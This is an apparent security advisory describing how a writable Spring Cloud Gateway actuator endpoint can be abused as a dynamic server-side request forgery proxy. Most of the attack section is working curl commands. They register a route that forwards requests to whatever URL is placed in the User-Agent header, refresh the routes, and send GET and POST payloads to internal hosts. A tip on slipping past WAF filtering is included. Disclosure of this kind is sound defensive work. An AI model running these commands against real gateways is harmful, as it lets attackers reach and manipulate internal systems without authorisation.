Spring Cloud Gateway dynamic HTTP POST configuration abused as a SSRF service
Overview
Abusing Spring Cloud Gateway dynamic HTTP POST configuration to create a fully working SSRF service.
- CVE: no CVE, because of documentation change only
- Author: psytester
- Title: Spring Cloud Gateway dynamic HTTP POST configuration abused as a SSRF service
- Vulnerability Type: CWE-918: Server-Side Request Forgery (SSRF)
- CVSSv3.1 Base Score: maybe at least 8.2
- CVSSv3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
- Publishing Date: 10.11.2025
- Updated: –
Background
I saw fresh CVE-2025-41243 and I started working on understanding the vulnerability and creating an exploit to learn how it all works.
I learned a lot in the process and, incidentally, found two issues myself.
Issue Description
While I already know how to use the gateway, I learned that Spring Gateway routes can also be set on its actuator endpoint via POST request and that you are not limited.
RewritePath is able to create a static SSRF, but can point to one IP:port only at a time.
But using the RequestHeaderToRequestUri feature allows us to create a fully dynamic SSRF feature. :-)
Why was that possible? Is it common for the endpoint to allow write access?
Several examples in internet are dealing with parameter management.endpoint.gateway.enabled=true
Fix for this issue was done as documentation change only without a CVE, because the code is already safe if correct setting is active.
You see a warning now at Spring Cloud Gateway / Spring Cloud Gateway Server WebFlux / Actuator API
Creating a fully dynamic SSRF service route.
POST route data and use a HTTP header not blocked in WAF or reverse proxy, use e.g. innocent User-Agent
curl -X POST -H 'Content-Type: application/json' -i http://gateway/actuator/gateway/routes/dynamic-ssrf-proxy --data '{
"id": "dynamic-ssrf-proxy",
"uri": "http://just-a-placeholder",
"predicates": [
{
"name": "Path",
"args": {
"pattern": "/ssrf_dyn/**"
}
}
],
"filters": [
{
"name": "RequestHeaderToRequestUri",
"args": {
"name": "User-Agent"
}
}
]
}'
Refresh routes
curl -X POST -i http://gateway/actuator/gateway/refresh
Send any GET / POST /PUT / …. payloads to internal systems
curl -X GET -k -H 'User-Agent: http://127.0.0.1:8090/path_to_function' -i 'http://gateway/ssrf_dyn'
curl -X POST -k -H 'User-Agent: http://127.0.0.1:8090/path_to_function' -i 'http://gateway/ssrf_dyn' --data '{"myPayload": "value"}'
Internal system got the request, e.g. the POST request
POST /path_to_function HTTP/1.1
User-Agent: http://127.0.0.1:8090/path_to_function
.....
Content-Length: 22
.....
host: 127.0.0.1:8090
{"myPayload": "value"}
Credit
Ezzer aka ez_z3r for his previous work, which made me curious to dive deeper
Disclaimer
The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.
The contents of this advisory are copyright (c) 2025 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.